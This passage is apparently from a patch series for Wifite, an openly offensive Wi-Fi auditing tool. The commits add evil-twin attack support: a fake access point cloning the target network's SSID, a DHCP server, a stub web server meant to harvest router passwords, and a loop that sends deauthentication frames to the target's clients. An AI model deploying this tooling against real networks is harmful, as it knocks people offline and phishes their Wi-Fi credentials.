+ if args.eviltwin_iface not in existing_ifaces: + raise Exception('Interface "%s" was not found by iwconfig (found %s)' % (args.eviltwin_iface, ','.join(existing_ifaces))) + # TODO: Put device into managed mode? + + cls.eviltwin_iface = args.eviltwin_iface + Color.pl('{+} {C}option:{W} using {G}%s{W} to create fake AP for evil twin attacks' % cls.eviltwin_iface) + if args.use_eviltwin: + # TODO: Or ask user to select a different wireless device? cls.use_eviltwin = True - Color.pl('{+} {C}option:{W} using {G}eviltwin attacks{W} against all targets') + Color.pl('{+} {C}option:{W} attacking all targets using {G}eviltwin attacks{W}') + # WEP if args.wep_filter: diff --git a/wifite/tools/airmon.py b/wifite/tools/airmon.py index 1a29d6607..f0adcc818 100755 --- a/wifite/tools/airmon.py +++ b/wifite/tools/airmon.py @@ -21,13 +21,13 @@ def __init__(self, phy, interface, driver, chipset): self.chipset = chipset self.mac_address = Ifconfig.get_mac(interface) - # Max length of fields. - # Used for printing a table of interfaces. + # Max length of fields. Used for printing a table of interfaces. INTERFACE_LEN = 12 PHY_LEN = 6 DRIVER_LEN = 20 CHIPSET_LEN = 30 + def __str__(self): ''' Colored string representation of interface ''' s = '' @@ -37,6 +37,7 @@ def __str__(self): s += Color.s('{W}%s' % self.chipset.ljust(self.CHIPSET_LEN)) return s + @staticmethod def menu_header(): ''' Colored header row for interfaces ''' @@ -52,12 +53,13 @@ def menu_header(): class Airmon(Dependency): ''' Wrapper around the 'airmon-ng' program ''' + dependency_required = True dependency_name = 'airmon-ng' dependency_url = 'https://www.aircrack-ng.org/install.html' - base_interface = None - killed_network_manager = False + base_interface = None # Interface *before* it was put into monitor mode. + killed_network_manager = False # If we killed network-manager # Drivers that need to be manually put into monitor mode BAD_DRIVERS = ['rtl8821au'] @@ -66,18 +68,16 @@ class Airmon(Dependency): ARPHRD_IEEE80211_RADIOTAP = 803 #monitor def __init__(self): - self.refresh() - - def refresh(self): - ''' Get airmon-recognized interfaces ''' self.interfaces = Airmon.get_interfaces() + def print_menu(self): ''' Prints menu ''' print(AirmonIface.menu_header()) for idx, iface in enumerate(self.interfaces, start=1): Color.pl(" {G}%d{W}. %s" % (idx, iface)) + def get(self, index): ''' Gets interface at index (starts at 1) ''' if type(index) is str: @@ -105,6 +105,7 @@ def get_interfaces(): return interfaces + @staticmethod def start_bad_driver(iface): ''' @@ -124,6 +125,7 @@ def start_bad_driver(iface): return None + @staticmethod def stop_bad_driver(iface): ''' @@ -143,6 +145,7 @@ def stop_bad_driver(iface): return None + @staticmethod def start(iface): ''' @@ -197,18 +200,26 @@ def start(iface): return enabled_iface + @staticmethod def _parse_airmon_start(airmon_output): - '''Find the interface put into monitor mode (if any)''' + '''Returns the interface name that was put into monitor mode (if any)''' # airmon-ng output: (mac80211 monitor mode vif enabled for [phy10]wlan0 on [phy10]wlan0mon) enabled_re = re.compile(r'\s*\(mac80211 monitor mode (?:vif )?enabled for [^ ]+ on (?:\[\w+\])?(\w+)\)\s*') + # airmon-ng output from https://www.aircrack-ng.org/doku.php?id=iwlagn + enabled_re2 = re.compile(r'\s*\(monitor mode enabled on (\w+)\)') + for line in airmon_output.split('\n'): matches = enabled_re.match(line) if matches: return matches.group(1) + matches = enabled_re2.match(line) + if matches: + return matches.group(1) + return None @@ -275,15 +286,16 @@ def ask(): Airmon.terminate_conflicting_processes() - Color.pl('\n{+} looking for {C}wireless interfaces{W}') + Color.p('\n{+} looking for {C}wireless interfaces{W}... ') monitor_interfaces = Iwconfig.get_interfaces(mode='Monitor') if len(monitor_interfaces) == 1: # Assume we're using the device already in montior mode iface = monitor_interfaces[0] - Color.pl(' using interface {G}%s{W} (already in monitor mode)' % iface); - Color.pl(' you can specify the wireless interface using {C}-i wlan0{W}') + Color.pl('using interface {G}%s{W} (already in monitor mode)' % iface); + #Color.pl(' you can specify the wireless interface using {C}-i wlan0{W}') Airmon.base_interface = None return iface + Color.pl('') a = Airmon() count = len(a.interfaces) @@ -364,6 +376,7 @@ def put_interface_up(iface): Ifconfig.up(iface) Color.pl(" {G}done{W}") + @staticmethod def start_network_manager(): Color.p("{!} {O}restarting {R}NetworkManager{O}...") @@ -404,3 +417,4 @@ def start_network_manager(): (disabled_iface, enabled_iface) = Airmon.stop(iface) print("Disabled:", disabled_iface) print("Enabled:", enabled_iface) + diff --git a/wifite/tools/dnsmasq.py b/wifite/tools/dnsmasq.py index 9a5d9785f..a9dff7965 100755 --- a/wifite/tools/dnsmasq.py +++ b/wifite/tools/dnsmasq.py @@ -9,6 +9,7 @@ class Dnsmasq(Dependency): '''Wrapper for dnsmasq program.''' + dependency_required = False dependency_name = 'dnsmasq' dependency_url = 'apt-get install dnsmasq' @@ -16,14 +17,15 @@ class Dnsmasq(Dependency): def __init__(self, interface): self.interface = interface self.pid = None + self.config_file = None def create_config_file(self): - config_file = os.path.join(Configuration.temp(), 'dnsmasq.conf') - if os.path.exists(config_file): - os.remove(config_file) + self.config_file = os.path.join(Configuration.temp(), 'dnsmasq.conf') + if os.path.exists(self.config_file): + os.remove(self.config_file) - with open(config_file, 'w') as config: + with open(self.config_file, 'w') as config: config.write('interface={}\n'.format(self.interface)) config.write('dhcp-range=10.0.0.10,10.0.0.100,8h\n') config.write('dhcp-option=3,10.0.0.1\n') @@ -31,11 +33,10 @@ def create_config_file(self): config.write('server=8.8.8.8\n') config.write('log-queries\n') config.write('log-dhcp\n') - return config_file def start(self): - config_file = self.create_config_file() + self.create_config_file() # Stop already-running dnsmasq process self.killall() @@ -43,25 +44,28 @@ def start(self): # Start new dnsmasq process self.pid = Process([ 'dnsmasq', - '-C', config_file + '-C', self.config_file ]) def stop(self): # Kill dnsmasq process - if self.pid: + if self.pid and self.pid.poll() is not None: self.pid.interrupt() - self.killall() - # TODO: Wait until dnsmasq is completely stopped. + self.killall() - def check(self): - # TODO: Check if dnsmasq is still running, if there's any errors in the logs, etc. - if self.pid.poll() is not None: - # Process stopped - pass + if self.config_file and os.path.exists(self.config_file): + os.remove(self.config_file) def killall(self): Process(['killall', 'dnsmasq']).wait() + # TODO: Wait until dnsmasq is completely stopped. + + + def check(self): + if self.pid.poll() is not None: + raise Exception('dnsmasq stopped running, exit code: %d, output: %s' % (self.pid.poll(), self.pid.stdout())) + # TODO: Check logs/output for problems diff --git a/wifite/tools/eviltwin_server.py b/wifite/tools/eviltwin_server.py index 82885aed0..9c45b1902 100644 --- a/wifite/tools/eviltwin_server.py +++ b/wifite/tools/eviltwin_server.py @@ -2,42 +2,71 @@ # -*- coding: utf-8 -*- from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler +from threading import Thread -class EviltwinServer(HTTPServer): +class EviltwinServer(HTTPServer, object): - def __init__(self, success_callback, port=80): - super(EviltwinServer, self).__init__('', port, EviltwinRequestHandler) + def __init__(self, success_callback, error_callback, port=80): + self.thread = None + # Store state in server + self.success_callback = success_callback + self.error_callback = error_callback + self.request_count = 0 + self.router_pages_served = 0 + # Initialize with our request handler + super(EviltwinServer, self).__init__(('', port), EviltwinRequestHandler) + def start(self): + self.thread = Thread(target=self.serve_forever) + self.thread.start() - def serve_forever(self): - super(EviltwinServer, self).serve_forever() + def stop(self): + # From https://stackoverflow.com/a/268686 + self.shutdown() + self.socket.close() + if self.thread: + self.thread.join() -class EviltwinRequestHandler(BaseHTTPRequestHandler): + def request_count(self): + return self.request_count - def __init__(self, success_callback): - self.success_callback = success_callback + def router_pages_served(self): + return self.router_pages_served + + +class EviltwinRequestHandler(BaseHTTPRequestHandler): def do_GET(self): + self.server.request_count += 1 request_path = self.path - # TODO: URL mappings to load specific pages. + # TODO: URL mappings to load specific pages. E.g. Apple/Android "pings" - print("\n----- Request Start ----->\n") + print('\n----- Request Start ----->\n') print(request_path) print(self.headers) - print("<----- Request End -----\n") + print('<----- Request End -----\n') self.send_response(200) - self.send_header("Set-Cookie", "foo=bar") + self.send_header('Content-type', 'text/html') + self.end_headers() + self.wfile.write('Title goes here.') + self.wfile.write('

This is a test.

') + # If someone went to 'http://something.somewhere.net/foo/bar/', + # then s.path equals '/foo/bar/'. + self.wfile.write('

You accessed path: %s

' % self.path) + self.wfile.write('') + def do_POST(self): + self.server.request_count += 1 request_path = self.path - # TODO: If path includes router password, call self.success_callback + # TODO: If path includes router password, call self.server.success_callback # TODO: Verify router passwords via separate interface? - print("\n----- Request Start ----->\n") + print('\n----- Request Start ----->\n') print(request_path) request_headers = self.headers @@ -46,19 +75,10 @@ def do_POST(self): print(request_headers) print(self.rfile.read(length)) - print("<----- Request End -----\n") + print('<----- Request End -----\n') self.send_response(200) do_PUT = do_POST do_DELETE = do_GET - -if __name__ == "__main__": - parser = OptionParser() - parser.usage = ("Creates an http-server that will echo out any GET or POST parameters\n" - "Run:\n\n" - " reflect") - (options, args) = parser.parse_args() - - main() diff --git a/wifite/tools/hostapd.py b/wifite/tools/hostapd.py index d3a786cab..342a2a688 100755 --- a/wifite/tools/hostapd.py +++ b/wifite/tools/hostapd.py @@ -6,6 +6,7 @@ from .dependency import Dependency from ..config import Configuration +from ..util.process import Process class Hostapd(Dependency): process_name = 'hostapd' @@ -14,6 +15,7 @@ class Hostapd(Dependency): dependency_name = process_name dependency_url = 'apt-get install hostapd' + @classmethod def exists(cls): return Process.exists(cls.process_name) @@ -23,52 +25,71 @@ def __init__(self, target, interface): self.target = target self.interface = interface self.pid = None - # Save hostapd state? + self.config_file = None + self.output_file = None + self.output_write = None + self.state = 'Initializing' def create_config_file(self): if not self.target.essid_known: + self.state = 'Error: Target ESSID is not known' raise Exception('Cannot start hostapd if target has unknown SSID') - config_file = os.path.abspath(os.path.join(Configuration.temp(), 'hostapd.conf')) + self.config_file = os.path.abspath(os.path.join(Configuration.temp(), 'hostapd.conf')) - with open(config_file, 'w') as config: + with open(self.config_file, 'w') as config: config.write('driver=nl80211\n') config.write('ssid={}\n'.format(self.target.essid)) - config.write('hw_mode=g\n') # TODO: support 5ghz + # TODO: support 5ghz + config.write('hw_mode=g\n') config.write('channel={}\n'.format(self.target.channel)) config.write('logger_syslog=-1\n') config.write('logger_syslog_level=2\n') - return config_file - def start(self): - config_file = self.create_config_file() + self.create_config_file() self.killall() + temp = Configuration.temp() + self.output_file = os.path.abspath(os.path.join(temp, 'hostapd.out')) + self.output_write = open(self.output_file, 'a') + self.pid = Process([ - self.process_name, - '-C', config_file, - '-i', self.interface - ]) + self.process_name, + '-C', self.config_file, + '-i', self.interface + ], + stdout=self.output_write, + cwd=temp + ) def stop(self): - if self.pid: + if self.pid and self.pid.poll() is not None: self.pid.interrupt() + self.killall() # TODO: Wait until hostapd is completely stopped. + if self.output_write: + self.output_write.close() - def check(self): - # TODO: Check if hostapd is still running, if there's any errors in the logs, etc. - if self.pid.poll() is not None: - # Process stopped - pass + if self.config_file and os.path.exists(self.config_file): + os.remove(self.config_file) + + if self.output_file and os.path.exists(self.output_file): + os.remove(self.output_file) def killall(self): Process(['killall', self.process_name]).wait() + + def check(self): + if self.pid.poll() is not None: + raise Exception('hostapd stopped running, exit code: %d, output: %s' % (self.pid.poll(), self.pid.stdout())) + # TODO: Check hostapd logs / output for any problems. + diff --git a/wifite/tools/iptables.py b/wifite/tools/iptables.py index 060997435..b0064c27d 100644 --- a/wifite/tools/iptables.py +++ b/wifite/tools/iptables.py @@ -4,14 +4,17 @@ import re from .dependency import Dependency +from ..util.process import Process class Iptables(Dependency): + process_name = 'iptables' dependency_required = False dependency_name = process_name dependency_url = 'apt-get install iptables' + @classmethod def exists(cls): return Process.exists(cls.process_name) @@ -19,6 +22,8 @@ def exists(cls): @classmethod def __exec(cls, args, expect_return_code=0): + # Helper method for executing iptables commands. + if type(args) is str: args = args.split(' ') @@ -30,12 +35,13 @@ def __exec(cls, args, expect_return_code=0): raise Exception('Error executing %s:\n%s\n%s' % (' '.join(command), pid.stdout(), pid.stderr())) + # -N, --new-chain @classmethod def new_chain(cls, chain_name, table): - command = ['-N', name, '-t', table] - cls.__exec(command) - + args = ['-N', chain_name, '-t', table] + cls.__exec(args) + # -A, --append @classmethod def append(cls, chain, table=None, rules=[]): args = [] @@ -45,3 +51,23 @@ def append(cls, chain, table=None, rules=[]): args.extend(rules) cls.__exec(args) + + # -F, --flush + @classmethod + def flush(cls, table=None): + args = [] + if table is not None: + args.extend(['-t', table]) + args.append('-F') + cls.__exec(args) + + + # -X, --delete-chain + @classmethod + def delete_chain(cls, table=None): + args = [] + if table is not None: + args.extend(['-t', table]) + args.append('-X') + cls.__exec(args) + diff --git a/wifite/tools/iwconfig.py b/wifite/tools/iwconfig.py index 9cea05d5c..74b9f2e84 100755 --- a/wifite/tools/iwconfig.py +++ b/wifite/tools/iwconfig.py @@ -41,7 +41,7 @@ def get_interfaces(cls, mode=None): if mode is None: interfaces.add(iface) - if mode is not None and 'Mode:{}'.format(mode) in line: + if mode is not None and 'mode:{}'.format(mode.lower()) in line.lower(): interfaces.add(iface) return list(interfaces) diff --git a/wifite/util/deauther.py b/wifite/util/deauther.py new file mode 100644 index 000000000..a8bdc49f5 --- /dev/null +++ b/wifite/util/deauther.py @@ -0,0 +1,56 @@ +#!/usr/bin/python2.7 +# -*- coding: utf-8 -*- + +import time + +from ..tools.aireplay import Aireplay +from ..tools.ifconfig import Ifconfig + +class Deauther(object): + ''' + Deauthenticates clients associated with a target. + For use with EvilTwin. + ''' + + def __init__(self, interface, target): + self.interface = interface + self.interface_mac = Ifconfig.get_mac(interface) + self.target = target + self.running = False + self.clients = set() + + + def update_target(self, target): + # Refresh target (including list of clients) + self.target = target + + + def update_clients(self): + # Refreshes list of clients connected to target + for client in self.target.clients: + bssid = client.station + if bssid.lower() == self.interface_mac: + continue # Ignore this interface + elif bssid not in self.clients: + self.clients.add(bssid) + + + def start(self): + self.running = True + + while self.running: + # Refresh list of clients + self.update_clients() + + # Deauth clients + bssid = self.target.bssid + essid = self.target.essid if self.target.essid_known else None + for client_mac in clients: + Aireplay.deauth(bssid, essid=essid, client_mac=client_mac) + + time.sleep(1) + + + def stop(self): + self.running = False + diff --git a/wifite/wifite.py b/wifite/wifite.py index e04df9e14..c8eb37e08 100755 --- a/wifite/wifite.py +++ b/wifite/wifite.py @@ -41,8 +41,10 @@ def main(self): elif Configuration.check_handshake: self.check_handshake(Configuration.check_handshake) + elif Configuration.crack_handshake: CrackHandshake() + else: Configuration.get_monitor_mode_interface() self.run() @@ -146,6 +148,10 @@ def run(self): else: targets = s.select_targets() + if Configuration.use_eviltwin: + # Ask user to select interface if needed + Configuration.get_eviltwin_interface() + attacked_targets = 0 targets_remaining = len(targets) for idx, t in enumerate(targets, start=1): @@ -159,7 +165,7 @@ def run(self): # TODO: Check if Eviltwin attack is selected. if Configuration.use_eviltwin: - attack = EvilTwinAttack(t) + attack = EvilTwinAttack(t, Configuration.interface, Configuration.eviltwin_iface) elif 'WEP' in t.encryption: attack = AttackWEP(t) From 72fc0b27a1c85105bd88b42ae5a5b3f958c7b212 Mon Sep 17 00:00:00 2001 From: derv82 Date: Sun, 27 May 2018 17:16:11 -0400 Subject: [PATCH 51/52] 2.1.5 version bump for recent changes. --- wifite/config.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/wifite/config.py b/wifite/config.py index 1ac19ad16..8bbf62a75 100755 --- a/wifite/config.py +++ b/wifite/config.py @@ -8,7 +8,7 @@ class Configuration(object): ''' Stores configuration variables and functions for Wifite. ''' - version = '2.1.4' + version = '2.1.5' initialized = False # Flag indicating config has been initialized temp_dir = None # Temporary directory From 77e0da3ce78406090b23b080e8ca5d4cfcd2caab Mon Sep 17 00:00:00 2001 From: derv82 Date: Sun, 27 May 2018 17:29:02 -0400 Subject: [PATCH 52/52] Fixing hostapd bug --- wifite/tools/hostapd.py | 15 +++++++-------- 1 file changed, 7 insertions(+), 8 deletions(-) diff --git a/wifite/tools/hostapd.py b/wifite/tools/hostapd.py index 342a2a688..c2131fb7d 100755 --- a/wifite/tools/hostapd.py +++ b/wifite/tools/hostapd.py @@ -57,14 +57,13 @@ def start(self): self.output_file = os.path.abspath(os.path.join(temp, 'hostapd.out')) self.output_write = open(self.output_file, 'a') - self.pid = Process([ - self.process_name, - '-C', self.config_file, - '-i', self.interface - ], - stdout=self.output_write, - cwd=temp - ) + command = [ + self.process_name, + '-i', self.interface, + self.config_file + ] + + self.pid = Process(command, stdout=self.output_write, cwd=temp) def stop(self):